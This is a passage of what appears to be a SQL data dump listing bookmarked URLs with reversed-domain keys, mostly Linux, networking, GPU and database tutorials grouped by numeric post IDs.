ized.www./view/tutorial/Authenticate-Users-Using-an-LDAP-Database/17795'),(292,'http://www.devshed.com/c/a/PHP/Using-PHP-With-LDAP-part-1/','http://com.devshed.www./c/a/PHP/Using-PHP-With-LDAP-part-1/'),(292,'http://quark.humbug.org.au/publications/ldap/ldap_tut.html','http://au.org.humbug.quark./publications/ldap/ldap_tut.html'),(292,'http://www.devshed.com/c/a/PHP/Using-PHP-With-LDAP-part-1/4/','http://com.devshed.www./c/a/PHP/Using-PHP-With-LDAP-part-1/4/'),(292,'http://computing.vt.edu/internet_and_web/web_publishing/web_hosting/authentication.html','http://edu.vt.computing./internet_and_web/web_publishing/web_hosting/authentication.html'),(292,'http://www.weberdev.com/get_example-3261.html','http://com.weberdev.www./get_example-3261.html'),(292,'http://www.linuxmail.info/ad-fds-sync-howto/','http://info.linuxmail.www./ad-fds-sync-howto/'),(292,'http://www.redhat.com/docs/manuals/dir-server/pdf/console71.pdf','http://com.redhat.www./docs/manuals/dir-server/pdf/console71.pdf'),(292,'http://directory.fedoraproject.org/wiki/Howto:WalkthroughMultimasterSSL','http://org.fedoraproject.directory./wiki/Howto:WalkthroughMultimasterSSL'),(292,'http://www.csse.uwa.edu.au/~ashley/fedora-ds/fedora-ds-26072006.html','http://au.edu.uwa.csse.www./~ashley/fedora-ds/fedora-ds-26072006.html'),(292,'http://directory.fedoraproject.org/wiki/Howto:SSL#Basic_Information','http://org.fedoraproject.directory./wiki/Howto:SSL#Basic_Information'),(292,'http://www.fedoraguide.info/index.php?title=Main_Page#Sun_Java_.28Method_1.29','http://info.fedoraguide.www./index.php?title=Main_Page#Sun_Java_.28Method_1.29'),(293,'http://us.blizzard.com/support/article.xml?articleId=21220','http://com.blizzard.us./support/article.xml?articleId=21220'),(293,'http://wiki.archlinux.org/index.php/WarCraft_III','http://org.archlinux.wiki./index.php/WarCraft_III'),(293,'http://ubuntuforums.org/showthread.php?t=795714&page=6','http://org.ubuntuforums./showthread.php?t=795714&page=6'),(293,'http://appdb.winehq.org/appview.php?iVersionId=1177','http://org.winehq.appdb./appview.php?iVersionId=1177'),(293,'http://us.blizzard.com/support/article.xml?locale=en_US&articleId=20673','http://com.blizzard.us./support/article.xml?locale=en_US&articleId=20673'),(293,'http://www.codeweavers.com/compatibility/browse/name/?app_id=1139;tips=1','http://com.codeweavers.www./compatibility/browse/name/?app_id=1139;tips=1'),(293,'http://www.codeweavers.com/compatibility/browse/?app_id=132;tips=1','http://com.codeweavers.www./compatibility/browse/?app_id=132;tips=1'),(294,'http://docs.limesurvey.org/tiki-index.php?page=Tokens+in+Version+1.85#LDAP_import','http://org.limesurvey.docs./tiki-index.php?page=Tokens+in+Version+1.85#LDAP_import'),(294,'http://docs.limesurvey.org/tiki-index.php?page=LDAP+settings&highlight=tokens','http://org.limesurvey.docs./tiki-index.php?page=LDAP+settings&highlight=tokens'),(294,'http://www.limesurvey.org/hn/support/forums/1-installation-a-update-issues/25250-ldap-query-against-active-directory','http://org.limesurvey.www./hn/support/forums/1-installation-a-update-issues/25250-ldap-query-against-active-directory'),(294,'http://www.limesurvey.org/en/support/forums/1-installation-a-update-issues/38907-cant-bind-to-the-ldap-directory#38907','http://org.limesurvey.www./en/support/forums/1-installation-a-update-issues/38907-cant-bind-to-the-ldap-directory#38907'),(294,'http://www.centos.org/docs/5/html/CDS/ag/8.0/Finding_Directory_Entries-LDAP_Search_Filters.html','http://org.centos.www./docs/5/html/CDS/ag/8.0/Finding_Directory_Entries-LDAP_Search_Filters.html'),(292,'http://directory.fedoraproject.org/wiki/Howto:ResetDirMgrPassword','http://org.fedoraproject.directory./wiki/Howto:ResetDirMgrPassword'),(295,'http://www.centos.org/modules/tinycontent/index.php?id=30','http://org.centos.www./modules/tinycontent/index.php?id=30'),(295,'http://www.centos.org/modules/tinycontent/index.php?id=22','http://org.centos.www./modules/tinycontent/index.php?id=22'),(295,'http://blog.connexeon.com/sysadmin/linux/setup-local-centos-mirror/','http://com.connexeon.blog./sysadmin/linux/setup-local-centos-mirror/'),(68,'http://content.hccfl.edu/pollock/unix/findcmd.htm','http://edu.hccfl.content./pollock/unix/findcmd.htm'),(296,'http://www.google.com/support/a/bin/answer.py?answer=54717','http://com.google.www./support/a/bin/answer.py?answer=54717'),(296,'http://www.google.ru/support/forum/p/Google+Apps/thread?tid=71649c5b17eb4f74&hl=en','http://ru.google.www./support/forum/p/Google+Apps/thread?tid=71649c5b17eb4f74&hl=en'),(194,'http://wiki.epiphanic.org/MiscOpenSolaris','http://org.epiphanic.wiki./MiscOpenSolaris'),(295,'http://articles.slicehost.com/2007/10/10/rsync-exclude-files-and-folders','http://com.slicehost.articles./2007/10/10/rsync-exclude-files-and-folders'),(54,'http://en.wikipedia.org/wiki/Palimpsest_Disk_Utility','http://org.wikipedia.en./wiki/Palimpsest_Disk_Utility'),(297,'http://www.listown.com/rssdetial/16200.htm','http://com.listown.www./rssdetial/16200.htm'),(297,'http://www.iozone.org/docs/IOzone_msword_98.pdf','http://org.iozone.www./docs/IOzone_msword_98.pdf'),(297,'http://www.iozone.org/','http://org.iozone.www./'),(297,'http://www.linux.com/archive/feature/139744','http://com.linux.www./archive/feature/139744'),(297,'http://www.cyberciti.biz/tips/linux-filesystem-benchmarking-with-iozone.html','http://biz.cyberciti.www./tips/linux-filesystem-benchmarking-with-iozone.html'),(297,'http://www.planetphotoshop.com/iozone_web01_results_auto.txt','http://com.planetphotoshop.www./iozone_web01_results_auto.txt'),(297,'http://sparky.rice.edu/gnuplot.html','http://edu.rice.sparky./gnuplot.html'),(297,'http://www.duke.edu/~hpgavin/gnuplot.html','http://edu.duke.www./~hpgavin/gnuplot.html'),(298,'http://nfs.sourceforge.net/','http://net.sourceforge.nfs./'),(298,'http://people.redhat.com/steved/fscache/docs/HOWTO.txt','http://com.redhat.people./steved/fscache/docs/HOWTO.txt'),(298,'http://www.jukie.net/bart/blog/20090612215638','http://net.jukie.www./bart/blog/20090612215638'),(298,'http://books.google.com/books?id=AEV1x84DVkUC&printsec=frontcover&dq=nfs+illustrated&source=gbs_similarbooks_s&cad=1#v=onepage&q=nfs%20illustrated&f=false','http://com.google.books./books?id=AEV1x84DVkUC&printsec=frontcover&dq=nfs+illustrated&source=gbs_similarbooks_s&cad=1#v=onepage&q=nfs%20illustrated&f=false'),(298,'http://books.google.com/books?id=y9GgPhjyOUwC&dq=nfs+illustrated&printsec=frontcover&source=bn&hl=en&ei=Q50OTJPXEYL6lwei0OFs&sa=X&oi=book_result&ct=result&resnum=4&ved=0CCkQ6AEwAw#v=onepage&q=nocto&f=false','http://com.google.books./books?id=y9GgPhjyOUwC&dq=nfs+illustrated&printsec=frontcover&source=bn&hl=en&ei=Q50OTJPXEYL6lwei0OFs&sa=X&oi=book_result&ct=result&resnum=4&ved=0CCkQ6AEwAw#v=onepage&q=nocto&f=false'),(298,'http://opensolaris.org/jive/thread.jspa?messageID=382971','http://org.opensolaris./jive/thread.jspa?messageID=382971'),(298,'http://www.faqs.org/docs/Linux-HOWTO/NFS-HOWTO.html','http://org.faqs.www./docs/Linux-HOWTO/NFS-HOWTO.html'),(298,'http://stromberg.dnsalias.org/~strombrg/NFS-troubleshooting-2.html','http://org.dnsalias.stromberg./~strombrg/NFS-troubleshooting-2.html'),(298,'http://en.gentoo-wiki.com/wiki/CacheFS','http://com.gentoo-wiki.en./wiki/CacheFS'),(297,'http://www.gnuplot.info/docs/gnuplot.html','http://info.gnuplot.www./docs/gnuplot.html'),(297,'http://search.cpan.org/~caidaperl/Chart-Graph-3.2/Graph/Gnuplot.pm','http://org.cpan.search./~caidaperl/Chart-Graph-3.2/Graph/Gnuplot.pm'),(14,'http://ksar.atomique.net/kSar/kSar-5.0.6/kSar.jnlp','http://net.atomique.ksar./kSar/kSar-5.0.6/kSar.jnlp'),(14,'http://downloads.sourceforge.net/project/ksar/ksar/5.0.6/kSar-5.0.6.zip?use_mirror=cdnetworks-us-1','http://net.sourceforge.downloads./project/ksar/ksar/5.0.6/kSar-5.0.6.zip?use_mirror=cdnetworks-us-1'),(14,'http://ksar.atomique.net/kSar/kSar-5.0.6.zip','http://net.atomique.ksar./kSar/kSar-5.0.6.zip'),(300,'http://jakarta.apache.org/jmeter','http://org.apache.jakarta./jmeter'),(300,'http://javaboutique.internet.com/tutorials/JMeter/','http://com.internet.javaboutique./tutorials/JMeter/'),(300,'http://jakarta.apache.org/site/downloads/downloads_jmeter.cgi','http://org.apache.jakarta./site/downloads/downloads_jmeter.cgi'),(300,'http://jakarta.apache.org/jmeter/usermanual/jmeter_distributed_testing_step_by_step.pdf','http://org.apache.jakarta./jmeter/usermanual/jmeter_distributed_testing_step_by_step.pdf'),(300,'http://jakarta.apache.org/jmeter/usermanual/remote-test.html','http://org.apache.jakarta./jmeter/usermanual/remote-test.html'),(300,'http://jakarta.apache.org/jmeter/usermanual/jmeter_proxy_step_by_step.pdf','http://org.apache.jakarta./jmeter/usermanual/jmeter_proxy_step_by_step.pdf'),(300,'http://jakarta.apache.org/jmeter/usermanual/jmeter_accesslog_sampler_step_by_step.pdf','http://org.apache.jakarta./jmeter/usermanual/jmeter_accesslog_sampler_step_by_step.pdf'),(301,'http://www.joedog.org/index/siege-home','http://org.joedog.www./index/siege-home'),(301,'https://domain.com','https://com.domain./'),(301,'http://www.clove.org/flood-presentation/flood.pdf','http://org.clove.www./flood-presentation/flood.pdf'),(302,'http://www.nccs.gov/jaguar/','http://gov.nccs.www./jaguar/'),(300,'http://www.devx.com/webdev/Article/17950/1954','http://com.devx.www./webdev/Article/17950/1954'),(303,'http://www.coveringsetc.com/default.aspx','http://com.coveringsetc.www./default.aspx'),(303,'http://trendsideas.com/ViewArticle.aspx?article=13685&region=4&book=674','http://com.trendsideas./ViewArticle.aspx?article=13685&region=4&book=674'),(304,'http://en.wikipedia.org/wiki/CUDA','http://org.wikipedia.en./wiki/CUDA'),(304,'http://www.nvidia.com/object/fermi_architecture.html','http://com.nvidia.www./object/fermi_architecture.html'),(305,'http://www.libdmtx.org/','http://org.libdmtx.www./'),(305,'http://chart.apis.google.com/chart?chs=150x150&cht=qr&chl=http://www.timelordz.com/blog&chld=L|1&choe=UTF-8','http://com.google.apis.chart./chart?chs=150x150&cht=qr&chl=http://www.timelordz.com/blog&chld=L|1&choe=UTF-8'),(305,'http://zxing.org/w/decode?u=http:%2F%2Fchart.apis.google.com%2Fchart%3Fchs=150x150&cht=qr&chl=http:%2F%2Frecaptcha.googlecode.com%2Ffiles%2Frecaptcha-dotnet-1.0.3.0-binary.zip&full=true','http://org.zxing./w/decode?u=http:%2F%2Fchart.apis.google.com%2Fchart%3Fchs=150x150&cht=qr&chl=http:%2F%2Frecaptcha.googlecode.com%2Ffiles%2Frecaptcha-dotnet-1.0.3.0-binary.zip&full=true'),(232,'http://blog.zenone.org/2009/03/pci-compliance-disable-sslv2-and-weak.html','http://org.zenone.blog./2009/03/pci-compliance-disable-sslv2-and-weak.html'),(232,'http://www.mail-archive.com/squid-users@squid-cache.org/msg71379.html','http://com.mail-archive.www./squid-users@squid-cache.org/msg71379.html'),(307,'http://www.jukie.net/bart/blog/20090612215638','http://net.jukie.www./bart/blog/20090612215638'),(307,'http://en.gentoo-wiki.com/wiki/CacheFS','http://com.gentoo-wiki.en./wiki/CacheFS'),(307,'http://timelordz.com/wiki/index.php/NFS_Performance_Tuning','http://com.timelordz./wiki/index.php/NFS_Performance_Tuning'),(308,'http://download.uib.de/doku/opsi-getting-started-v34-en.pdf','http://de.uib.download./doku/opsi-getting-started-v34-en.pdf'),(308,'http://download.uib.de/opsi_stable/doku//depotserver_installation_en.pdf','http://de.uib.download./opsi_stable/doku//depotserver_installation_en.pdf'),(308,'https://forum.opsi.org/viewtopic.php?f=8&t=52&p=226&hilit=+mount+error+13+#p226','https://org.opsi.forum./viewtopic.php?f=8&t=52&p=226&hilit=+mount+error+13+#p226'),(308,'http://download.uib.de/opsi3.4/doku/opsi-manual-v34-en.pdf','http://de.uib.download./opsi3.4/doku/opsi-manual-v34-en.pdf'),(308,'http://driverpacks.net/driverpacks','http://net.driverpacks./driverpacks'),(308,'https://forum.uib.de/viewtopic.php?f=8&t=1562&start=0&sid=3f5be7065d8a2501abc1c15c2d3c6882','https://de.uib.forum./viewtopic.php?f=8&t=1562&start=0&sid=3f5be7065d8a2501abc1c15c2d3c6882'),(308,'https://forum.uib.de/viewtopic.php?f=8&t=1563&sid=3f5be7065d8a2501abc1c15c2d3c6882','https://de.uib.forum./viewtopic.php?f=8&t=1563&sid=3f5be7065d8a2501abc1c15c2d3c6882'),(302,'http://prodigal.ornl.gov','http://gov.ornl.prodigal./'),(302,'http://prodigal.ornl.gov/results.php','http://gov.ornl.prodigal./results.php'),(302,'ftp://ftp.ncbi.nih.gov/genbank/genomes/Bacteria/','ftp://gov.nih.ncbi.ftp./genbank/genomes/Bacteria/'),(302,'http://www.sanger.ac.uk/resources/software/artemis/','http://uk.ac.sanger.www./resources/software/artemis/'),(302,'http://iubio.bio.indiana.edu/soft/molbio/readseq/java/','http://edu.indiana.bio.iubio./soft/molbio/readseq/java/'),(302,'http://iubio.bio.indiana.edu/cgi-bin/readseq.cgi','http://edu.indiana.bio.iubio./cgi-bin/readseq.cgi'),(302,'http://workshop.molecularevolution.org/resources/fileformats/','http://org.molecularevolution.workshop./resources/fileformats/'),(302,'http://aquatic_microbes.sb-roscoff.fr/index.php?topic=14.0','http://fr.sb-roscoff.aquatic_microbes./index.php?topic=14.0'),(302,'http://www.scripps.edu/rc/softwaredocs/gcg/seqconv+.html','http://edu.scripps.www./rc/softwaredocs/gcg/seqconv+.html'),(302,'http://www.scripps.edu/rc/softwaredocs/gcg/gcgmanual.html','http://edu.scripps.www./rc/softwaredocs/gcg/gcgmanual.html'),(1,'http://www.timelordz.com/blog','http://com.timelordz.www./blog'),(302,'http://en.wikipedia.org/wiki/Oak_Ridge_National_Laboratory','http://org.wikipedia.en./wiki/Oak_Ridge_National_Laboratory'),(302,'http://ornl.gov/','http://gov.ornl./'),(142,'http://mysqlresources.com/cgi-bin/article.cgi?article_id=122','http://com.mysqlresources./cgi-bin/article.cgi?article_id=122'),(142,'http://stackoverflow.com/questions/1960845/mysql-backup-can-i-copying-individual-myisam-table-files-to-another-server-with','http://com.stackoverflow./questions/1960845/mysql-backup-can-i-copying-individual-myisam-table-files-to-another-server-with'),(85,'http://www.linuxjournal.com/magazine/pxe-magic-flexible-network-booting-menus','http://com.linuxjournal.www./magazine/pxe-magic-flexible-network-booting-menus'),(311,'http://smart.esnet.com/hdd/','http://com.esnet.smart./hdd/'),(252,'http://smart.esnet.com/smarttest.sh','http://com.esnet.smart./smarttest.sh'),(308,'https://opsi.esnet.com:4447','https://com.esnet.opsi.:4447/'),(308,'https://wiki.mozilla.org/ReferencePlatforms/OPSI_Server','https://org.mozilla.wiki./ReferencePlatforms/OPSI_Server'),(308,'http://technet.microsoft.com/en-us/library/cc759174(WS.10).aspx','http://com.microsoft.technet./en-us/library/cc759174(WS.10).aspx'),(308,'http://unattended.sourceforge.net/step-by-step.php','http://net.sourceforge.unattended./step-by-step.php'),(308,'http://support.microsoft.com/kb/155197','http://com.microsoft.support./kb/155197'),(312,'http://www.silentworldkeylargo.com/instruction/tech_train.html','http://com.silentworldkeylargo.www./instruction/tech_train.html'),(312,'http://www.tildensscubacenter.com/','http://com.tildensscubacenter.www./'),(312,'http://www.floridakeysdivectr.com/','http://com.floridakeysdivectr.www./'),(312,'http://www.hideawaycafe.com/','http://com.hideawaycafe.www./'),(312,'http://www.coastalscuba.com/sites.htm','http://com.coastalscuba.www./sites.htm'),(312,'http://www.expresswatersports.com/pages/scuba-diving/dive-sites.php','http://com.expresswatersports.www./pages/scuba-diving/dive-sites.php'),(312,'http://www.poseidon.com/products/discovery-mkvi','http://com.poseidon.www./products/discovery-mkvi'),(302,'http://neutrons.ornl.gov/','http://gov.ornl.neutrons./'),(302,'http://www.nccs.gov','http://gov.nccs.www./'),(313,'http://www.gentoo.org/doc/en/gentoo-x86+raid+lvm2-quickinstall.xml','http://org.gentoo.www./doc/en/gentoo-x86+raid+lvm2-quickinstall.xml'),(313,'http://www.linux.org/docs/ldp/howto/Software-RAID-HOWTO-6.html','http://org.linux.www./docs/ldp/howto/Software-RAID-HOWTO-6.html'),(313,'http://www.howtoforge.com/replacing_hard_disks_in_a_raid1_array','http://com.howtoforge.www./replacing_hard_disks_in_a_raid1_array'),(313,'http://www.opensubscriber.com/message/linux-raid@vger.kernel.org/8754655.html','http://com.opensubscriber.www./message/linux-raid@vger.kernel.org/8754655.html'),(48,'http://www.ets.org/icriticalthinking/about/','http://org.ets.www./icriticalthinking/about/'),(48,'http://www.certiport.com/Portal/desktopdefault.aspx?page=common/pagelibrary/icritical_thinking.htm','http://com.certiport.www./Portal/desktopdefault.aspx?page=common/pagelibrary/icritical_thinking.htm'),(306,'http://www.evga.com/support/motherboard/','http://com.evga.www./support/motherboard/'),(311,'http://66.118.149.233/hdd/index.php','http://233.149.118.66./hdd/index.php'),(316,'http://www.singletreerealtytn.com/property/719821/KAARMLS/','http://com.singletreerealtytn.www./property/719821/KAARMLS/'),(316,'http://www.singletreerealtytn.com/property/723987/KAARMLS/','http://com.singletreerealtytn.www./property/723987/KAARMLS/'),(316,'http://www.singletreerealtytn.com/property/723664/KAARMLS/','http://com.singletreerealtytn.www./property/723664/KAARMLS/'),(316,'http://www.singletreerealtytn.com/property/723655/KAARMLS/','http://com.singletreerealtytn.www./property/723655/KAARMLS/'),(316,'http://www.singletreerealtytn.com/property/723217/KAARMLS/','http://com.singletreerealtytn.www./property/723217/KAARMLS/'),(316,'http://www.singletreerealtytn.com/property/723242/KAARMLS/','http://com.singletreerealtytn.www./property/723242/KAARMLS/'),(316,'http://www.singletreerealtytn.com/property/723100/KAARMLS/','http://com.singletreerealtytn.www./property/723100/KAARMLS/'),(316,'http://www.singletreerealtytn.com/property/723572/KAARMLS/','http://com.singletreerealtytn.www./property/723572/KAARMLS/'),(317,'http://openmp.org/forum/','http://org.openmp./forum/'),(317,'https://computing.llnl.gov/tutorials/openMP/','https://gov.llnl.computing./tutorials/openMP/'),(317,'https://computing.llnl.gov/?set=training&page=index#training_materials','https://gov.llnl.computing./?set=training&page=index#training_materials'),(317,'http://openmp.org/wp/2009/04/download-book-examples-and-discuss/','http://org.openmp./wp/2009/04/download-book-examples-and-discuss/'),(317,'http://mitpress.mit.edu/catalog/item/default.asp?ttype=2&tid=11387&mode=toc','http://edu.mit.mitpress./catalog/item/default.asp?ttype=2&tid=11387&mode=toc'),(316,'http://www.knoxhouses.com/rets_details.php','http://com.knoxhouses.www./rets_details.php'),(318,'http://troyworks.com/blog/2008/10/18/case-study-the-e8-particle-simulator-for-garrett-lisi/','http://com.troyworks./blog/2008/10/18/case-study-the-e8-particle-simulator-for-garrett-lisi/'),(318,'http://deferentialgeometry.org/epe/','http://org.deferentialgeometry./epe/'),(318,'http://en.wikipedia.org/wiki/An_Exceptionally_Simple_Theory_of_Everything','http://org.wikipedia.en./wiki/An_Exceptionally_Simple_Theory_of_Everything'),(318,'http://en.wikipedia.org/wiki/E8_(mathematics)','http://org.wikipedia.en./wiki/E8_(mathematics)'),(304,'http://www.khronos.org/opencl/','http://org.khronos.www./opencl/'),(304,'http://www.codeproject.com/KB/GPU-Programming/IntroToOpenCL.aspx','http://com.codeproject.www./KB/GPU-Programming/IntroToOpenCL.aspx'),(304,'http://www.nvidia.com/object/cuda_opencl_new.html','http://com.nvidia.www./object/cuda_opencl_new.html'),(320,'http://www.linuxforu.com/how-to/the-art-of-guard-part-2-selinux-modes-and-policies/','http://com.linuxforu.www./how-to/the-art-of-guard-part-2-selinux-modes-and-policies/'),(100,'http://wiki.archlinux.org/index.php/Pacman_Rosetta','http://org.archlinux.wiki./index.php/Pacman_Rosetta'),(313,'https://raid.wiki.kernel.org/index.php/Hotplug','https://org.kernel.wiki.raid./index.php/Hotplug'),(313,'http://www.prefetch.net/articles/linuxsoftwareraid.html','http://net.prefetch.www./articles/linuxsoftwareraid.html'),(321,'http://ssscripting.wordpress.com/2009/03/17/how-to-submit-a-form-programmatically/','http://com.wordpress.ssscripting./2009/03/17/how-to-submit-a-form-programmatically/'),(321,'https://addons.mozilla.org/en-US/firefox/addon/966/','https://org.mozilla.addons./en-US/firefox/addon/966/'),(322,'http://www.gentoo.org/doc/en/vpnc-howto.xml','http://org.gentoo.www./doc/en/vpnc-howto.xml'),(321,'http://serverfault.com/questions/127137/wireshark-http-post','http://com.serverfault./questions/127137/wireshark-http-post'),(108,'http://www.linux.com/archive/articles/114156','http://com.linux.www./archive/articles/114156'),(231,'http://www.linux-wizard.net/2010/07/13/importing-a-svn-repository-from-one-server-to-another-one/','http://net.linux-wizard.www./2010/07/13/importing-a-svn-repository-from-one-server-to-another-one/'),(269,'http://www.howtoforge.com/anonymous-proxy-using-squid-3-centos-5.x','http://com.howtoforge.www./anonymous-proxy-using-squid-3-centos-5.x'),(269,'http://wiki.squid-cache.org/SquidFaq/ConfiguringSquid','http://org.squid-cache.wiki./SquidFaq/ConfiguringSquid'),(269,'http://www.freeos.com/articles/2516/','http://com.freeos.www./articles/2516/'),(269,'http://wiki.squid-cache.org/SquidFaq/SecurityPitfalls#X-Forwarded-For_fiddling','http://org.squid-cache.wiki./SquidFaq/SecurityPitfalls#X-Forwarded-For_fiddling'),(323,'http://setiathome.berkeley.edu/cuda.php','http://edu.berkeley.setiathome./cuda.php'),(323,'http://www.gpugrid.net/','http://net.gpugrid.www./'),(323,'http://boinc.thesonntags.com/collatz/','http://com.thesonntags.boinc./collatz/'),(323,'http://code.google.com/p/pyrit/','http://com.google.code./p/pyrit/'),(323,'http://project-rainbowcrack.com/','http://com.project-rainbowcrack./'),(304,'http://www.amd.com/us/products/technologies/stream-technology/opencl/pages/opencl-intro.aspx','http://com.amd.www./us/products/technologies/stream-technology/opencl/pages/opencl-intro.aspx'),(304,'http://lukas.ahrenberg.se/archives/154','http://se.ahrenberg.lukas./archives/154'),(304,'http://forums.nvidia.com/index.php?showtopic=157513','http://com.nvidia.forums./index.php?showtopic=157513'),(304,'http://forums.nvidia.com/index.php?showtopic=170454','http://com.nvidia.forums./index.php?showtopic=170454'),(304,'http://forums.nvidia.com/lofiversion/index.php?t50404.html','http://com.nvidia.forums./lofiversion/index.php?t50404.html'),(304,'http://www.geeks3d.com/20090414/gpu-caps-viewer-170-available-with-cuda-support/','http://com.geeks3d.www./20090414/gpu-caps-viewer-170-available-with-cuda-support/'),(304,'http://www.ozone3d.net/gpu_caps_viewer/index.php#screens','http://net.ozone3d.www./gpu_caps_viewer/index.php#screens'),(304,'http://developer.download.nvidia.com/compute/cuda/3_1/sdk/docs/CUDA_SDK_release_notes.txt','http://com.nvidia.download.developer./compute/cuda/3_1/sdk/docs/CUDA_SDK_release_notes.txt'),(304,'http://www.virtualgl.org/About/Introduction','http://org.virtualgl.www./About/Introduction'),(304,'http://docs.sun.com/source/820-3257-12/VGL.html','http://com.sun.docs./source/820-3257-12/VGL.html'),(304,'http://www.linuxhardware.org/nvclock/','http://org.linuxhardware.www./nvclock/'),(304,'http://forums.nvidia.com/lofiversion/index.php?t35425.html','http://com.nvidia.forums./lofiversion/index.php?t35425.html'),(304,'http://www.evga.com/forums/tm.aspx?m=138842&high=precision+linux','http://com.evga.www./forums/tm.aspx?m=138842&high=precision+linux'),(304,'http://psilambda.com/','http://com.psilambda./'),(304,'http://llpanorama.wordpress.com/cuda-tutorial/intro','http://com.wordpress.llpanorama./cuda-tutorial/intro'),(304,'http://developer.download.nvidia.com/compute/cuda/3_1/toolkit/docs/NVIDIA_CUDA_C_ProgrammingGuide_3.1.pdf','http://com.nvidia.download.developer./compute/cuda/3_1/toolkit/docs/NVIDIA_CUDA_C_ProgrammingGuide_3.1.pdf'),(231,'http://www.wongzhongming.com/2009/02/05/ignoring-files-in-subversion-with-svnignore/','http://com.wongzhongming.www./2009/02/05/ignoring-files-in-subversion-with-svnignore/'),(231,'http://data.agaric.com/node/1495','http://com.agaric.data./node/1495'),(302,'http://www.ornl.gov/sci/techresources/Human_Genome/project/info.shtml','http://gov.ornl.www./sci/techresources/Human_Genome/project/info.shtml'),(302,'http://www.opm.gov/e-qip/faq-e-QIP.asp#Q22','http://gov.opm.www./e-qip/faq-e-QIP.asp#Q22'),(302,'http://meetings.cshl.edu/courses.html','http://edu.cshl.meetings./courses.html'),(302,'http://www.doeleadershipcomputing.org/','http://org.doeleadershipcomputing.www./'),(302,'http://www.amse.org/content.aspx?article=1299','http://org.amse.www./content.aspx?article=1299'),(323,'http://unbeknownst.net/?p=408','http://net.unbeknownst./?p=408'),(325,'http://processors.wiki.ti.com/index.php/EZ430-Chronos','http://com.ti.wiki.processors./index.php/EZ430-Chronos'),(325,'http://processors.wiki.ti.com/index.php/Chronos_Flying_Mouse#Chronos_Flying_Mouse_Setup','http://com.ti.wiki.processors./index.php/Chronos_Flying_Mouse#Chronos_Flying_Mouse_Setup'),(325,'http://www.ti.com/corp/docs/landing/mcu/index.htm?DCMP=MSP430&HQS=Tools+OT+ez430','http://com.ti.www./corp/docs/landing/mcu/index.htm?DCMP=MSP430&HQS=Tools+OT+ez430'),(231,'http://aralbalkan.com/1381','http://com.aralbalkan./1381'),(272,'http://curl.haxx.se/docs/httpscripting.html','http://se.haxx.curl./docs/httpscripting.html'),(272,'http://theserverpages.com/php/manual/en/ref.curl.php','http://com.theserverpages./php/manual/en/ref.curl.php'),(326,'http://www.whoopis.com/howtos/fedora_64_32_rpm_emul.html','http://com.whoopis.www./howtos/fedora_64_32_rpm_emul.html'),(142,'http://www.wellho.net/mouth/270_NULL-in-MySQL.html','http://net.wellho.www./mouth/270_NULL-in-MySQL.html'),(327,'http://en.wikipedia.org/wiki/Garbage_project','http://org.wikipedia.en./wiki/Garbage_project'),(327,'http://greengarbageproject.adammathiasdesign.com/','http://com.adammathiasdesign.greengarbageproject./'),(327,'http://query.nytimes.com/gst/fullpage.html?res=9E0CE6DA163CF936A35754C0A964958260&n=Top/Features/Books/Book%20Reviews&scp=1&sq=garbage%20dump%20archaeology&st=cse','http://com.nytimes.query./gst/fullpage.html?res=9E0CE6DA163CF936A35754C0A964958260&n=Top/Features/Books/Book%20Reviews&scp=1&sq=garbage%20dump%20archaeology&st=cse'),(328,'http://libvirt.org/remote.html','http://org.libvirt./remote.html'),(328,'http://virt-manager.org/page/RemoteSSH','http://org.virt-manager./page/RemoteSSH'),(328,'https://help.ubuntu.com/community/KVM/Managing','https://com.ubuntu.help./community/KVM/Managing'),(328,'http://redgarden.wordpress.com/2010/02/14/managing-kvm-vms-with-remote-tunnel-over-ssh/','http://com.wordpress.redgarden./2010/02/14/managing-kvm-vms-with-remote-tunnel-over-ssh/'),(328,'https://bugs.launchpad.net/ubuntu/+source/virt-manager/+bug/383068','https://net.launchpad.bugs./ubuntu/+source/virt-manager/+bug/383068'),(328,'http://www.techotopia.com/index.php/Installing_a_KVM_Guest_OS_from_the_Command-line_(virt-install)','http://com.techotopia.www./index.php/Installing_a_KVM_Guest_OS_from_the_Command-line_(virt-install)'),(328,'http://www.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/5.5/html/Virtualization_Guide/index.html','http://com.redhat.www./docs/en-US/Red_Hat_Enterprise_Linux/5.5/html/Virtualization_Guide/index.html'),(328,'https://help.ubuntu.com/community/KVM/FAQ','https://com.ubuntu.help./community/KVM/FAQ'),(328,'http://libvirt.org/formatdomain.html','http://org.libvirt./formatdomain.html'),(328,'http://fedoraproject.org/wiki/How_to_debug_Libvirt_problems','http://org.fedoraproject./wiki/How_to_debug_Libvirt_problems'),(328,'http://libvirt.org/logging.html','http://org.libvirt./logging.html'),(328,'http://fedoraproject.org/wiki/How_to_debug_Virtualization_problems','http://org.fedoraproject./wiki/How_to_debug_Virtualization_problems'),(328,'http://wiki.libvirt.org/page/Networking','http://org.libvirt.wiki./page/Networking'),(328,'http://watzmann.net/blog/2007/04/networking-with-kvm-and-libvirt.html','http://net.watzmann./blog/2007/04/networking-with-kvm-and-libvirt.html'),(142,'http://lists.mysql.com/mysql/201721','http://com.mysql.lists./mysql/201721'),(142,'http://stackoverflow.com/questions/368858/hidden-features-of-mysql','http://com.stackoverflow./questions/368858/hidden-features-of-mysql'),(142,'http://mradomski.wordpress.com/2007/01/08/finding-an-unlinked-open-file-and-other-lsof-uses/','http://com.wordpress.mradomski./2007/01/08/finding-an-unlinked-open-file-and-other-lsof-uses/'),(142,'http://docstore.mik.ua/orelly/unix/upt/ch24_03.htm','http://ua.mik.docstore./orelly/unix/upt/ch24_03.htm'),(329,'http://www.hpss-collaboration.org/','http://org.hpss-collaboration.www./'),(327,'http://eserver.org/courses/spring97/76100o/readings/hirsch.html','http://org.eserver./courses/spring97/76100o/readings/hirsch.html'),(327,'http://nces.ed.gov/naal/lit_history.asp','http://gov.ed.nces./naal/lit_history.asp'),(327,'http://timporter.com/firstdraft/archives/000418.html','http://com.timporter./firstdraft/archives/000418.html'),(327,'http://www.tcrecord.org/library/abstract.asp?contentid=501','http://org.tcrecord.www./library/abstract.asp?contentid=501'),(327,'http://user.services.openoffice.org/en/forum/viewtopic.php?f=7&t=7063','http://org.openoffice.services.user./en/forum/viewtopic.php?f=7&t=7063'),(327,'http://www.gnu.org/software/diction/diction.html','http://org.gnu.www./software/diction/diction.html'),(327,'http://sourceforge.net/projects/ooomacros/files/Readability%20Analyser/','http://net.sourceforge./projects/ooomacros/files/Readability%20Analyser/'),(230,'http://www.eclipse.org/subversive/','http://org.eclipse.www./subversive/'),(230,'http://www.xdebug.org/','http://org.xdebug.www./'),(330,'http://www.cupfighter.net/index.php/2009/06/undocumented-equallogic-cli-commands/','http://net.cupfighter.